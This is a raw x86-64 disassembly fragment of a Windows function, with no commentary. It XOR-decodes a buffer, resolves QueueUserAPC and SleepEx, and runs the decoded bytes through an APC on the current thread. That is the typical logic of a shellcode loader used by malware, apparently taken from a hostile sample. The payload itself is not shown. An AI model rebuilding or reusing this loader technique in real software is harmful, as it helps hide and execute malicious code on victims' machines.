add dword [rbp + 0x704], eax
add dword [rbp + 0x708], 1
cmp dword [rbp + 0x708], 0x161
jle 0x140002949
mov rax, qword [rbp + 0x5b8]
mov rcx, rax
call sub.msvcrt.dll_free
jmp 0x1400029d4
mov eax, dword [rbp + 0x718]
movsxd rdx, eax
mov rax, qword [rbp + 0x5e0]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x710]
cdqe
movzx ecx, byte [rbp + rax]
mov eax, dword [rbp + 0x718]
movsxd rdx, eax
mov rax, qword [rbp + 0x5e0]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
add dword [rbp + 0x710], 1
add dword [rbp + 0x718], 1
cmp dword [rbp + 0x718], 0x485
jle 0x14000285f
mov rax, qword [rbp + 0x5e0]
mov qword [rbp + 0x5d0], rax
mov rax, qword [rbp + 0x6f0]
lea rdx, str.QueueUserAPC
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x5c8], rax
mov rax, qword [rbp + 0x6f0]
lea rdx, str.SleepEx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x5c0], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThread]
call rax
mov rdx, rax
mov rax, qword [rbp + 0x5d0]
mov r9, qword [rbp + 0x5c8]
mov r8d, 0
mov rcx, rax
call r9
mov rax, qword [rbp + 0x5c0]
mov edx, 1
mov ecx, 0xffffffff
call rax
mov eax, 0
movups xmm6, xmmword [rbp + 0x770]
add rsp, 0x808
pop rbx
pop rsi
pop rdi
pop rbp
ret